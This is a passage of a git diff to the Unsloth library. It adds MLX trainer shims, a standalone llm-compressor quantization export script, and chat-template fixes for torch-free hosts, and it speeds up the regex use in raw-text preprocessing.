+    def _install_mlx_trl_sft_shim():
+        """Install MLX-backed TRL SFT shims without replacing the TRL module."""
+        _trl = _sys.modules.get("trl")
+        if _trl is None:
+            try:
+                import trl as _trl
+            except ImportError:
+                _trl = _types.ModuleType("trl")
+                _trl.__version__ = "0.0.0+unsloth-mlx"
+                _trl.__package__ = "trl"
+                _trl.__path__ = []
+                _trl.__spec__ = _machinery.ModuleSpec("trl", loader = None, is_package = True)
+                _sys.modules["trl"] = _trl
+
+        _trl.SFTTrainer = UnslothTrainer
+        _trl.SFTConfig = _MLXSFTConfig
+        # Only retarget trainers the installed trl actually exposes (don't invent
+        # attributes); idempotent so re-importing unsloth is a no-op.
+        # Decide what to stub from trl's declared exports (__all__) and already
+        # materialized attrs only. A getattr probe here would trigger trl's lazy
+        # trainer import, pulling torch and breaking `import unsloth` on torch-free
+        # MLX just to check existence.
+        _trl_exports = set(getattr(_trl, "__all__", ()) or ())
+        # Stub every non-SFT trainer trl exposes, not just a fixed list, so newer
+        # trainers (RLOOTrainer, ...) also fail with a clear MLX message instead
+        # of importing the real torch trainer. Names come from __all__ so we never
+        # resolve them (that would trigger trl's lazy import and pull torch).
+        _unsupported = set(_MLX_UNSUPPORTED_TRL_TRAINERS) | {
+            _n for _n in _trl_exports if _n.endswith("Trainer") and _n != "SFTTrainer"
+        }
+        for _name in _unsupported:
+            _current = vars(_trl).get(_name)
+            if getattr(_current, "_unsloth_mlx_unsupported", False):
+                continue
+            if _name in _trl_exports or _current is not None:
+                setattr(_trl, _name, _make_mlx_unsupported_trl_trainer(_name))
+        _trl.__all__ = _safe_mlx_trl_star_exports(_trl)
+        _trl.__UNSLOTH_MLX_COMPAT__ = True
+
+    def _install_mlx_unsloth_trainer_shim():
+        module_name = f"{__name__}.trainer"
+        _trainer = _types.ModuleType(module_name)
+        _trainer.__package__ = __name__
+        _trainer.__spec__ = _machinery.ModuleSpec(module_name, loader = None)
+        _trainer.MLXTrainer = MLXTrainer
+        _trainer.MLXTrainingConfig = MLXTrainingConfig
+        _trainer.UnslothTrainer = UnslothTrainer
+        _trainer.UnslothTrainingArguments = UnslothTrainingArguments
+        _trainer.UnslothVisionDataCollator = UnslothVisionDataCollator
+        _sys.modules[module_name] = _trainer
+        globals()["trainer"] = _trainer
+
+    _install_mlx_trl_sft_shim()
+    _install_mlx_unsloth_trainer_shim()
+
 else:
     # GPU path: load everything from _gpu_init
     from ._gpu_init import *
     from ._gpu_init import __version__
+
+    def get_gpu_memory_stats():
+        """Return CUDA/ROCm/XPU device stats, peak memory, and total memory in GiB."""
+        try:
+            import torch
+            if hasattr(torch, "xpu") and torch.xpu.is_available():
+                props = torch.xpu.get_device_properties(0)
+                peak = (
+                    torch.xpu.max_memory_reserved()
+                    if hasattr(torch.xpu, "max_memory_reserved")
+                    else torch.xpu.max_memory_allocated()
+                )
+                total = getattr(props, "total_memory", 0)
+                return props, _bytes_to_gb(peak), _bytes_to_gb(total) or 1.0
+            if hasattr(torch, "cuda") and torch.cuda.is_available():
+                props = torch.cuda.get_device_properties(0)
+                peak = torch.cuda.max_memory_reserved()
+                total = getattr(props, "total_memory", 0)
+                return props, _bytes_to_gb(peak), _bytes_to_gb(total) or 1.0
+        except Exception:
+            pass
+        stats = _UnslothDeviceStats("Unknown GPU", 0)
+        return stats, 0.0, 1.0
+
+    def clear_gpu_memory():
+        """Clear cached GPU memory on CUDA, ROCm, or XPU when available."""
+        try:
+            import torch
+            if hasattr(torch, "xpu") and torch.xpu.is_available():
+                torch.xpu.empty_cache()
+            elif hasattr(torch, "cuda") and torch.cuda.is_available():
+                torch.cuda.empty_cache()
+        except Exception:
+            pass
diff --git a/unsloth/_compressed_quantize.py b/unsloth/_compressed_quantize.py
new file mode 100644
index 0000000000..8f7ed6e09e
--- /dev/null
+++ b/unsloth/_compressed_quantize.py
@@ -0,0 +1,356 @@
+# Copyright 2023-present Daniel Han-Chen & the Unsloth team. All rights reserved.
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#     http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+"""Standalone llm-compressor runner for Unsloth's FP8/FP4 export.
+
+Launched as a subprocess by file path (not `python -m`) so the Unsloth package, which patches
+transformers attention, is not imported here; llm-compressor needs an unpatched forward for
+calibration (e.g. NVFP4). Reads a merged 16bit checkpoint, writes a compressed-tensors one.
+"""
+
+import argparse
+import glob
+import json
+import os
+import sys
+
+
+def _is_moe(config):
+    """True if the model config looks like a sparse Mixture-of-Experts model."""
+    if config is None:
+        return False
+    for cfg in (config, getattr(config, "text_config", None)):
+        if cfg is None:
+            continue
+        for attr in ("num_experts", "num_local_experts", "n_routed_experts", "moe_num_experts"):
+            v = getattr(cfg, attr, None)
+            if isinstance(v, int) and v > 1:
+                return True
+    return "moe" in (getattr(config, "model_type", "") or "").lower()
+
+
+def _has_mtp(config):
+    """True if the model carries MTP / speculative-decoding layers (e.g. Qwen3-Next, DeepSeek)."""
+    if config is None:
+        return False
+    mt = (getattr(config, "model_type", "") or "").lower()
+    if "qwen3_next" in mt or "mtp" in mt:
+        return True
+    for attr in ("num_nextn_predict_layers", "num_mtp_layers", "mtp_num_layers"):
+        v = getattr(config, attr, None)
+        if isinstance(v, int) and v > 0:
+            return True
+    return False
+
+
+def _build_calibration_dataset(tokenizer, kind, value, num_samples, max_seq_length):
+    from datasets import DatasetDict, load_dataset, load_from_disk
+
+    _tok = tokenizer.tokenizer if hasattr(tokenizer, "tokenizer") else tokenizer
+
+    if kind == "none":
+        print(
+            f"Unsloth: NVFP4 needs calibration data. Defaulting to {num_samples} samples of "
+            "HuggingFaceH4/ultrachat_200k. For best accuracy pass your own training data via "
+            "`calibration_dataset=...`.",
+            flush = True,
+        )
+        ds = load_dataset("HuggingFaceH4/ultrachat_200k", split = f"train_sft[:{num_samples}]")
+        ds = ds.shuffle(seed = 42)
+    elif kind == "hfid":
+        # Not every dataset has a "train" split (e.g. train_sft only); fall back to the first one.
+        try:
+            ds = load_dataset(value, split = f"train[:{num_samples}]")
+        except (ValueError, KeyError):
+            from datasets import get_dataset_split_names
+            try:
+                # Resolve the first split name so only num_samples rows are fetched, instead of
+                # downloading/materializing the whole dataset just to take a small slice.
+                split = get_dataset_split_names(value)[0]
+                ds = load_dataset(value, split = f"{split}[:{num_samples}]")
+            except Exception:
+                # Last resort: materialize, then subselect (preserves the original behavior).
+                ds = load_dataset(value)
+                if isinstance(ds, DatasetDict):
+                    ds = ds[next(iter(ds.keys()))]
+                if num_samples and len(ds) > num_samples:
+                    ds = ds.select(range(num_samples))
+        ds = ds.shuffle(seed = 42)
+    elif kind == "disk":
+        ds = load_from_disk(value)
+        if isinstance(ds, DatasetDict):
+            if "train" in ds:
+                ds = ds["train"]
+            elif len(ds) == 1:
+                ds = next(iter(ds.values()))
+            else:
+                raise RuntimeError(
+                    "Unsloth: disk calibration_dataset is a DatasetDict with multiple splits; "
+                    "pass a single split, e.g. calibration_dataset=dataset['train']."
+                )
+        if num_samples and len(ds) > num_samples:
+            ds = ds.shuffle(seed = 42).select(range(num_samples))
+    else:
+        raise ValueError(f"Unknown calibration-dataset-kind: {kind}")
+
+    try:
+        if len(ds) == 0:
+            raise RuntimeError(
+                "Unsloth: the calibration dataset is empty after loading/subsampling; "
+                "pass a non-empty calibration_dataset."
+            )
+    except TypeError:
+        pass  # streaming / iterable datasets have no len(); let llm-compressor handle them
+
+    cols = set(ds.column_names)
+    if "input_ids" in cols:
+        # Drop non-model-input columns (e.g. a leftover 'messages' list) so llm-compressor's
+        # collator does not try to batch them.
+        keep = {"input_ids", "attention_mask", "labels", "position_ids"}
+        extra = [c for c in ds.column_names if c not in keep]
+        if extra:
+            ds = ds.remove_columns(extra)
+        return ds
+    if "messages" in cols:
+        # Base / non-chat tokenizers have no chat template; concatenate message contents instead
+        # of calling apply_chat_template (which would raise).
+        has_chat_template = bool(getattr(_tok, "chat_template", None))
+
+        def _content_to_text(content):
+            # content may be a str, None, or a multimodal list of parts (str or {"text": ...}).
+            if content is None:
+                return ""
+            if isinstance(content, str):
+                return content
+            if isinstance(content, (list, tuple)):
+                parts = []
+                for part in content:
+                    if isinstance(part, str):
+                        parts.append(part)
+                    elif isinstance(part, dict):
+                        text = part.get("text") or part.get("content")
+                        if isinstance(text, str):
+                            parts.append(text)
+                return " ".join(parts)
+            return str(content)
+
+        def _prep(ex):
+            msgs = ex["messages"] or []
+            if has_chat_template:
+                return {"text": _tok.apply_chat_template(msgs, tokenize = False)}
+            return {"text": "\n".join(_content_to_text(m.get("content")) for m in msgs)}
+
+        ds = ds.map(_prep)
+    elif "text" not in cols:
+        raise RuntimeError(
+            "Unsloth: calibration_dataset must contain a 'messages', 'text', or 'input_ids' "
+            f"column (got: {sorted(cols)})."
+        )
+
+    def _tokenize(sample):
+        return _tok(
+            sample["text"],
+            padding = False,
+            max_length = max_seq_length,
+            truncation = True,
+            add_special_tokens = False,
+        )
+
+    return ds.map(_tokenize, remove_columns = ds.column_names)
+
+
+def _from_pretrained(auto_model, model_path, trust_remote_code):
+    import torch
+
+    # transformers renamed torch_dtype -> dtype; support both.
+    try:
+        return auto_model.from_pretrained(
+            model_path,
+            device_map = "auto",
+            low_cpu_mem_usage = True,
+            trust_remote_code = trust_remote_code,
+            dtype = torch.bfloat16,
+        )
+    except TypeError:
+        return auto_model.from_pretrained(
+            model_path,
+            device_map = "auto",
+            low_cpu_mem_usage = True,
+            trust_remote_code = trust_remote_code,
+            torch_dtype = torch.bfloat16,
+        )
+
+
+def main():
+    ap = argparse.ArgumentParser()
+    ap.add_argument("--model", required = True, help = "merged 16bit HF checkpoint dir")
+    ap.add_argument("--scheme", required = True)
+    ap.add_argument("--out", required = True)
+    ap.add_argument("--needs-calibration", action = "store_true")
+    ap.add_argument("--calibration-dataset-kind", default = "none", choices = ["none", "hfid", "disk"])
+    ap.add_argument("--calibration-dataset", default = "")
+    ap.add_argument("--num-calibration-samples", type = int, default = 512)
+    ap.add_argument("--max-seq-length", type = int, default = 2048)
+    ap.add_argument("--is-vlm", action = "store_true")
+    ap.add_argument("--trust-remote-code", action = "store_true")
+    ap.add_argument("--trust-remote-code-tokenizer", action = "store_true")
+    ap.add_argument("--variant", default = "", help = "weight-filename variant for the output shards")
+    args = ap.parse_args()
+
+    from transformers import AutoModelForCausalLM, AutoTokenizer
+    from llmcompressor import oneshot
+    from llmcompressor.modifiers.quantization import QuantizationModifier
+
+    # Import the VLM auto-class only when needed - some transformers versions lack it, and the
+    # text path must not fail just because that newer class is unavailable.
+    if args.is_vlm:
+        from transformers import AutoProcessor
+        try:
+            from transformers import AutoModelForImageTextToText as _VLMModel
+        except ImportError:
+            try:
+                from transformers import AutoModelForVision2Seq as _VLMModel
+            except ImportError as e:
+                raise RuntimeError(
+                    "Unsloth: this transformers version has no VLM auto-model class for "
+                    "compressed multimodal export. Please upgrade transformers."
+                ) from e
+        auto_model, auto_proc = _VLMModel, AutoProcessor
+    else:
+        auto_model, auto_proc = AutoModelForCausalLM, AutoTokenizer
+
+    model = _from_pretrained(auto_model, args.model, args.trust_remote_code)
+    model.eval()
+    # A tokenizer may be absent if the caller saved it separately; only calibration needs one.
+    try:
+        # The tokenizer/processor has its own trust flag: consent for one component must not
+        # let the other's custom code run.
+        tokenizer = auto_proc.from_pretrained(
+            args.model, trust_remote_code = args.trust_remote_code_tokenizer
+        )
+    except Exception:
+        if args.needs_calibration:
+            raise RuntimeError(
+                f"Unsloth: calibration export needs a tokenizer but none was found in {args.model}. "
+                "Pass tokenizer=... to save_pretrained_merged."
+            )
+        tokenizer = None
+
+    # MoE models: keep the router/gate unquantized (it decides expert routing) and calibrate every
+    # expert even if the sample set does not route tokens to all of them.
+    is_moe = _is_moe(getattr(model, "config", None))
+    ignore = ["lm_head"]
+    # Skip the same modules RedHatAI/NVIDIA skip for the Qwen3.5 / Qwen3-Next family (these also have
+    # shapes not divisible by the grouped-scheme group_size, which would otherwise error). No-ops
+    # elsewhere. Hybrid linear attention, VLM vision tower, and the MTP/speculative head.
+    ignore += ["re:.*\\.linear_attn\\..*", "re:.*\\.visual\\..*", "re:.*mtp.*"]
+    if is_moe:
+        # Keep MoE routing layers unquantized: the router gate and (Qwen) shared-expert gate.
+        ignore += ["re:.*\\.gate$", "re:.*\\.shared_expert_gate$"]
+    moe_kwargs = {"moe_calibrate_all_experts": True} if is_moe else {}
+
+    def _make_recipe():
+        return QuantizationModifier(targets = "Linear", scheme = args.scheme, ignore = ignore)
+
+    if args.needs_calibration:
+        ds = _build_calibration_dataset(
+            tokenizer,
+            args.calibration_dataset_kind,
+            args.calibration_dataset,
+            args.num_calibration_samples,
+            args.max_seq_length,
+        )
+        # Use the sequential pipeline: it onloads layer-by-layer, so models that do not fit in
+        # memory at once can still calibrate. Running here in a clean process (Unsloth's attention
+        # patches are absent) means tracing works; fall back to the memory-hungry "basic" pipeline
+        # only if tracing fails.
+        try:
+            oneshot(
+                model = model,
+                dataset = ds,
+                recipe = _make_recipe(),
+                max_seq_length = args.max_seq_length,
+                num_calibration_samples = args.num_calibration_samples,
+                pipeline = "sequential",
+                **moe_kwargs,
+            )
+        except Exception as e:
+            print(
+                f"Unsloth: sequential calibration pipeline failed ({type(e).__name__}: {e}); "
+                "retrying with the 'basic' pipeline (needs the full model to fit in memory).",
+                flush = True,
+            )
+            # Free the partially-processed model before loading a fresh copy, so the fallback does
+            # not transiently hold two copies on GPU. llm-compressor keeps the model in a global
+            # session after a failed run, so reset it first; also drop the traceback frames (e) and
+            # the local reference that pin the model.
+            import gc as _gc
+            import torch as _torch
+
+            try:
+                from llmcompressor.core import reset_session
+                reset_session()
+            except Exception:
+                pass
+            e = None
+            del model
+            _gc.collect()
+            if _torch.cuda.is_available():
+                _torch.cuda.empty_cache()
+            model = _from_pretrained(auto_model, args.model, args.trust_remote_code)
+            model.eval()
+            oneshot(
+                model = model,
+                dataset = ds,
+                recipe = _make_recipe(),
+                max_seq_length = args.max_seq_length,
+                num_calibration_samples = args.num_calibration_samples,
+                pipeline = "basic",
+                **moe_kwargs,
+            )
+    else:
+        oneshot(model = model, recipe = _make_recipe())
+
+    os.makedirs(args.out, exist_ok = True)
+    save_kwargs = {"variant": args.variant} if args.variant else {}
+    model.save_pretrained(args.out, save_compressed = True, **save_kwargs)
+    if tokenizer is not None:
+        tokenizer.save_pretrained(args.out)
+
+    if _has_mtp(getattr(model, "config", None)):
+        print(
+            "Unsloth: WARNING - this model has MTP / speculative-decoding tensors that are not "
+            "included in the compressed export (only the main model is quantized and saved). Use "
+            "the non-compressed save path if you need the MTP weights.",
+            flush = True,
+        )
+
+    cfg_path = os.path.join(args.out, "config.json")
+    cfg = {}
+    if os.path.exists(cfg_path):
+        with open(cfg_path, "r", encoding = "utf-8") as f:
+            cfg = json.load(f)
+    if "quantization_config" not in cfg:
+        print(f"Unsloth: ERROR - no quantization_config written to {cfg_path}", flush = True)
+        sys.exit(2)
+    shards = glob.glob(os.path.join(args.out, "*.safetensors"))
+    qfmt = cfg["quantization_config"].get("format")
+    print(
+        f"[compressed-quantize] OK scheme={args.scheme} format={qfmt} "
+        f"shards={len(shards)} -> {args.out}",
+        flush = True,
+    )
+
+
+if __name__ == "__main__":
+    main()
diff --git a/unsloth/_gpu_init.py b/unsloth/_gpu_init.py
index 917717e08e..e39b44488a 100644
--- a/unsloth/_gpu_init.py
+++ b/unsloth/_gpu_init.py
@@ -36,16 +36,15 @@ from .import_fixes import (
     fix_huggingface_hub,
 )
 
-# Redirect a read-only Hugging Face cache before anything below can import
-# huggingface_hub / transformers / vllm (disable_broken_vllm probes
-# `import vllm`, check_fbgemm_gpu_version imports transformers, and
-# fix_huggingface_hub imports huggingface_hub itself), all of which can
-# freeze Hub's cache constants with the un-redirected paths. unsloth_zoo
-# runs the same redirect at import, but that happens after these probes.
-# hf_cache.py is stdlib-only, so load it straight from its file without
-# triggering the full unsloth_zoo package init this early; the zoo's own
-# call later is an idempotent no-op. Older unsloth_zoo without hf_cache.py
-# is skipped silently.
+# Redirect a read-only Hugging Face cache before anything below imports
+# huggingface_hub / transformers / vllm (disable_broken_vllm probes `import vllm`
+# and its compiled extensions, check_fbgemm_gpu_version imports transformers,
+# fix_huggingface_hub imports huggingface_hub) -- any of which would freeze Hub's
+# cache constants with the un-redirected paths. unsloth_zoo runs the same redirect
+# at import, but only after these probes. hf_cache.py is stdlib-only, so load it
+# straight from its file without triggering the full unsloth_zoo init this early;
+# the zoo's later call is an idempotent no-op. Older unsloth_zoo without it is
+# skipped silently.
 try:
     import importlib.util as _importlib_util
     from pathlib import Path as _Path
@@ -189,6 +188,7 @@ from .import_fixes import (
     disable_torchcodec_if_broken,
     disable_broken_wandb,
     fix_trl_vllm_ascend,
+    fix_peft_transformers_tensor_parallel_import_compat,
     fix_peft_transformers_weight_conversion_import,
     patch_peft_weight_converter_compatibility,
     patch_accelerate_recursively_apply,
@@ -220,6 +220,7 @@ disable_broken_wandb()
 # Must run before patch_peft_weight_converter_compatibility: stubs the
 # transformers v5 submodules peft 0.19.x imports, so the next patch can wrap
 # build_peft_weight_mapping instead of being swallowed by its ImportError.
+fix_peft_transformers_tensor_parallel_import_compat()
 fix_peft_transformers_weight_conversion_import()
 patch_peft_weight_converter_compatibility()
 patch_accelerate_recursively_apply()
@@ -245,6 +246,7 @@ del patch_vllm_for_notebooks
 del patch_torchcodec_audio_decoder
 del disable_torchcodec_if_broken
 del disable_broken_wandb
+del fix_peft_transformers_tensor_parallel_import_compat
 del fix_peft_transformers_weight_conversion_import
 del patch_peft_weight_converter_compatibility
 del patch_accelerate_recursively_apply
diff --git a/unsloth/chat_templates.py b/unsloth/chat_templates.py
index fe078c5025..169b2dbd0e 100644
--- a/unsloth/chat_templates.py
+++ b/unsloth/chat_templates.py
@@ -27,18 +27,25 @@ __all__ = [
     "test_construct_chat_template",
 ]
 
-from transformers import StoppingCriteria, StoppingCriteriaList
-from torch import LongTensor, FloatTensor
-from transformers.models.llama.modeling_llama import logger
+from transformers.utils import logging
+try:
+    from torch import LongTensor, FloatTensor
+except ImportError:
+    LongTensor = FloatTensor = None
+logger = logging.get_logger(__name__)
 import os
 import shutil
-from .tokenizer_utils import *
 import re
 from .ollama_template_mappers import OLLAMA_TEMPLATES
-from unsloth_zoo.dataset_utils import (
-    train_on_responses_only,
-    standardize_data_formats,
-)
+try:
+    from unsloth_zoo.dataset_utils import (
+        train_on_responses_only,
+        standardize_data_formats,
+    )
+except ImportError:
+    # dataset_utils pulls torch; keep chat_templates importable on torch-free
+    # (MLX) hosts, which expose these via the backend-specific wrappers instead.
+    train_on_responses_only = standardize_data_formats = None
 standardize_sharegpt = standardize_data_formats
 CHAT_TEMPLATES = {}
 DEFAULT_SYSTEM_MESSAGE = {}
@@ -1804,10 +1811,17 @@ CHAT_TEMPLATES["yi-chat"] = (yi_chat_template, yi_chat_template_eos_token, False
 DEFAULT_SYSTEM_MESSAGE["yi-chat"] = None
 
 def _change_system_message(template: str, type_chat_template: str, system_message: str = None):
-    system_message_pattern = r"\{system_message\}"
-
     # For predefined templates, check if default system message exists
     default_system_message = DEFAULT_SYSTEM_MESSAGE.get(f"{type_chat_template}", None)
+
+    # Custom templates have no default but may carry a {system_message} placeholder;
+    # fill it before the no-default return below. A missing message here is an error.
+    if default_system_message is None and "{system_message}" in template:
+        if system_message is None:
+            raise ValueError("Unsloth: You need to provide a system message for custom templates.")
+        new_template = template.replace("{system_message}", system_message)
+        return new_template, system_message
+
     if default_system_message is None:
         if system_message is not None:
             logger.warning_once(
@@ -1817,21 +1831,9 @@ def _change_system_message(template: str, type_chat_template: str, system_messag
             )
         return template, system_message
 
-    # For custom templates
-    if type_chat_template is None:
-        has_placeholder = re.search(system_message_pattern, template) is not None
-
-        if has_placeholder:
-            if system_message is None:
-                raise ValueError("Unsloth: You need to provide a system message for custom templates.")
-            new_template = re.sub(system_message_pattern, system_message, template)
-            return new_template, system_message
-
-        return template, system_message
-
     # For predefined templates with default system message
     message_to_use = system_message if system_message is not None else default_system_message
-    new_template = re.sub(system_message_pattern, message_to_use, template)
+    new_template = template.replace("{system_message}", message_to_use)
 
     return new_template, message_to_use
 
@@ -1843,11 +1845,24 @@ def get_chat_template(
     map_eos_token = True,
     system_message = None,
     patch_saving = True,
-    use_zoo_tokenizer_patch = False,
+    use_zoo_tokenizer_patch = None,
 ):
     assert(type(map_eos_token) is bool)
+    import sys
+    is_mlx_backend = getattr(sys.modules.get("unsloth"), "DEVICE_TYPE", None) == "mlx"
+    if use_zoo_tokenizer_patch is None:
+        use_zoo_tokenizer_patch = is_mlx_backend
     old_tokenizer = tokenizer
 
+    # mlx-lm's TokenizerWrapper._tokenizer is the HF tokenizer, not the Rust
+    # backend the vocab-edit paths below need; unwrap here, re-wrap before return.
+    _mlx_tokenizer_wrapper = None
+    if is_mlx_backend and tokenizer.__class__.__name__ == "TokenizerWrapper":
+        _inner_tokenizer = getattr(tokenizer, "_tokenizer", None)
+        if _inner_tokenizer is not None and hasattr(_inner_tokenizer, "is_fast"):
+            _mlx_tokenizer_wrapper = tokenizer
+            tokenizer = _inner_tokenizer
+
     IS_GEMMA = False
     if tokenizer.__class__.__name__.startswith("Gemma"):
         if chat_template == "chatml": chat_template = "gemma_chatml"
@@ -1957,6 +1972,7 @@ def get_chat_template(
                 pass
 
                 # Must fix the sentence piece tokenizer since there's no tokenizer.model file!
+                from .tokenizer_utils import fix_sentencepiece_tokenizer
                 tokenizer = fix_sentencepiece_tokenizer(tokenizer, new_tokenizer, token_mapping,)
             else:
                 pass
@@ -2002,6 +2018,7 @@ def get_chat_template(
 
             # Must fix the sentence piece tokenizer since there's no tokenizer.model file!
             token_mapping = { old_eos_token : stop_word, }
+            from .tokenizer_utils import fix_sentencepiece_tokenizer
             tokenizer = fix_sentencepiece_tokenizer(tokenizer, new_tokenizer, token_mapping,)
         pass
 
@@ -2062,13 +2079,25 @@ def get_chat_template(
     # stopping_criteria = create_stopping_criteria(tokenizer, stop_word)
 
     # Patch saving functions
-    if patch_saving:
+    if patch_saving and not is_mlx_backend:
         from .save import patch_saving_functions
         tokenizer = patch_saving_functions(tokenizer)
 
     # Add Ollama
     tokenizer._ollama_modelfile = ollama_modelfile
     tokenizer._system_message   = system_message
+
+    # Re-wrap so the trainer gets the same TokenizerWrapper type back.
+    if _mlx_tokenizer_wrapper is not None:
+        _mlx_tokenizer_wrapper._tokenizer = tokenizer
+        eos_token_id = getattr(tokenizer, "eos_token_id", None)
+        if eos_token_id is not None:
+            _mlx_tokenizer_wrapper._eos_token_ids = {eos_token_id}
+        _mlx_tokenizer_wrapper._chat_template = None
+        _mlx_tokenizer_wrapper.has_chat_template = (
+            getattr(tokenizer, "chat_template", None) is not None
+        )
+        tokenizer = _mlx_tokenizer_wrapper
     return tokenizer#, stopping_criteria
 
 
@@ -2279,28 +2308,28 @@ def get_ollama_eos_tokens(tokenizer, extra_eos_tokens = []):
     if getattr(tokenizer, "bos_token", None) is not None:
         added_tokens_decoder = [x for x in added_tokens_decoder if x != tokenizer.bos_token]
 
-    repeatted_tokens = []
+    repeated_tokens = []
     # Join all vocab
     joined_text = "\x01\x00".join(added_tokens_decoder)
     for token in added_tokens_decoder:
         n = len(token)
-        repeatted_counts = joined_text.count(token[:n//2])
+        repeated_counts = joined_text.count(token[:n//2])
         # Try finding longer than 1/2 of the token in the rest
         # For eg <|reserved_special_token_0|>, <|reserved_special_token_1|>
-        if repeatted_counts > 2:
+        if repeated_counts > 2:
             for j in range(n//2+1, n):
-                if joined_text.count(token[:j]) < repeatted_counts:
+                if joined_text.count(token[:j]) < repeated_counts:
                     j -= 1
-                    # Remove repeatted tokens to reduce search space
+                    # Remove repeated tokens to reduce search space
                     joined_text = joined_text.replace(token[:j], "")
-                    repeatted_tokens.append(token[:j])
+                    repeated_tokens.append(token[:j])
                     break
 
     # Remove duplicates
-    splitted = joined_text.split("\x01\x00")
-    final_eos_tokens = [old for old, new in zip(added_tokens_decoder, splitted) if old == new]
+    split = joined_text.split("\x01\x00")
+    final_eos_tokens = [old for old, new in zip(added_tokens_decoder, split) if old == new]
     final_eos_tokens += extra_eos_tokens
-    final_eos_tokens += repeatted_tokens
+    final_eos_tokens += repeated_tokens
 
     # Remove new lines, spaces and HTML tags
     filtered_eos_tokens = []
@@ -2559,7 +2588,7 @@ extra_eos_tokens = None,
         if part.endswith(which):
             part = "'" + part[:part.find(which)] + f"' + {content}"
         elif part.startswith(which):
-            part = f"{content} + '" + part[part.find(which):] + "'"
+            part = f"{content} + '" + part[len(which):] + "'"
         else:
             part = "'" + part.replace(which, f"' + {content} + '") + "'"
         if part.startswith("'' + "): part = part[5:]
@@ -2754,6 +2783,15 @@ extra_eos_tokens = None,
 
 
 def create_stopping_criteria(tokenizer, stop_word = "eos_token"):
+    try:
+        import torch
+        from transformers import StoppingCriteria, StoppingCriteriaList
+    except ImportError as exc:
+        raise ImportError(
+            "Unsloth: create_stopping_criteria requires PyTorch and is only "
+            "supported on Torch backends."
+        ) from exc
+
     class StoppingCriteriaSub(StoppingCriteria):
         __slots__ = "stop_token", "single_match", "length",
 
@@ -2833,10 +2871,10 @@ def test_chat_templates():
     for j in range(len(messages)-1):
         correct_prompt.append_message(correct_prompt.roles[j%2==1], messages[j+1]["content"])
     correct_prompt.append_message(correct_prompt.roles[1], "")
-    correct_prompt = tokenizer.bos_token + correct_prompt.get_prompt()
 
     template = vicuna_template
     correct_tokenizer = AutoTokenizer.from_pretrained("lmsys/vicuna-7b-v1.5")
+    correct_prompt = correct_tokenizer.bos_token + correct_prompt.get_prompt()
     correct_tokenizer.chat_template = template
     our_prompt = correct_tokenizer.apply_chat_template(messages[1:], tokenize = False, add_generation_prompt = True)
     assert(correct_prompt == our_prompt)
@@ -2850,10 +2888,10 @@ def test_chat_templates():
     for j in range(len(messages)-1):
         correct_prompt.append_message(correct_prompt.roles[j%2==1], messages[j+1]["content"])
     correct_prompt.append_message(correct_prompt.roles[1], "")
-    correct_prompt = tokenizer.bos_token + correct_prompt.get_prompt()
 
     template = vicuna_old_template
     correct_tokenizer = AutoTokenizer.from_pretrained("lmsys/vicuna-7b-v1.5")
+    correct_prompt = correct_tokenizer.bos_token + correct_prompt.get_prompt()
     correct_tokenizer.chat_template = template
     our_prompt = correct_tokenizer.apply_chat_template(messages[1:], tokenize = False, add_generation_prompt = True)
     # We add </s> ourselves
diff --git a/unsloth/dataprep/raw_text.py b/unsloth/dataprep/raw_text.py
index 076a781d4b..7d18b1ff29 100644
--- a/unsloth/dataprep/raw_text.py
+++ b/unsloth/dataprep/raw_text.py
@@ -223,48 +223,63 @@ class RawTextDataLoader:
                 return "\n\n".join(texts)
         return ""
 
+    # Cache text fields/columns for better performance
+    _TEXT_FIELDS = ("text", "content", "message", "body", "description", "prompt")
+    _TEXT_COLUMNS = _TEXT_FIELDS
+
     def _extract_text_from_json(self, data):
         """Extract text from JSON object using common field names."""
-        text_fields = ["text", "content", "message", "body", "description", "prompt"]
-        for field in text_fields:
+        for field in self._TEXT_FIELDS:
             if field in data and isinstance(data[field], str):
                 return data[field]
         return ""
 
     def _extract_text_from_csv_row(self, row):
         """Extract text from CSV row using common column names."""
-        text_columns = ["text", "content", "message", "body", "description", "prompt"]
-        for column in text_columns:
+        for column in self._TEXT_COLUMNS:
             if column in row and row[column]:
                 return row[column]
         return ""
 
 
 class TextPreprocessor:
+    # Compile regex patterns once for better performance
+    _WHITESPACE_PATTERN = re.compile(r"[^\S\n]+")
+    _INVALID_CHARS_PATTERN = re.compile(r"[^\x20-\x7E\n]")
+    _MULTIPLE_SPACES_PATTERN = re.compile(r"[ ]{2,}")
+    _NEWLINE_SPACES_PATTERN = re.compile(r" *\n *")
+    _MULTIPLE_NEWLINES_PATTERN = re.compile(r"\n{3,}")
+    _CHAPTER_PATTERN = re.compile(r"^# (.+)$", re.MULTILINE)
+    _SECTION_PATTERN = re.compile(r"^## (.+)$", re.MULTILINE)
+    _SUBSECTION_PATTERN = re.compile(r"^### (.+)$", re.MULTILINE)
+    _CODE_BLOCK_PATTERN = re.compile(r"```(\w*)\n(.*?)\n```", re.DOTALL)
+
     def clean_text(self, text):
         """Remove unwanted characters, normalize whitespace"""
         text = text.replace("\r\n", "\n").replace("\r", "\n")
-        text = re.sub(r"[^\S\n]+", " ", text)
-        text = re.sub(r"[^\x20-\x7E\n]", "", text)
-        text = re.sub(r"[ ]{2,}", " ", text)
-        text = re.sub(r" *\n *", "\n", text)
-        text = re.sub(r"\n{3,}", "\n\n", text)
+        text = self._WHITESPACE_PATTERN.sub(" ", text)
+        text = self._INVALID_CHARS_PATTERN.sub("", text)
+        text = self._MULTIPLE_SPACES_PATTERN.sub(" ", text)
+        text = self._NEWLINE_SPACES_PATTERN.sub("\n", text)
+        text = self._MULTIPLE_NEWLINES_PATTERN.sub("\n\n", text)
         return text.strip()
 
     def extract_sections(self, text, patterns):
         """Extract specific sections (e.g., code blocks, quotes)"""
         sections = []
         for pattern in patterns:
+            # Compile pattern on first use and cache? Well, patterns are user-provided,
+            # so just use re.findall with compiled flags
             matches = re.findall(pattern, text, re.MULTILINE | re.DOTALL)
             sections.extend(matches)
         return sections
 
     def add_structure_tokens(self, text):
         """Add special tokens for structure (chapters, sections)"""
-        text = re.sub(r"^# (.+)$", r"<|chapter|>\1<|/chapter|>", text, flags = re.MULTILINE)
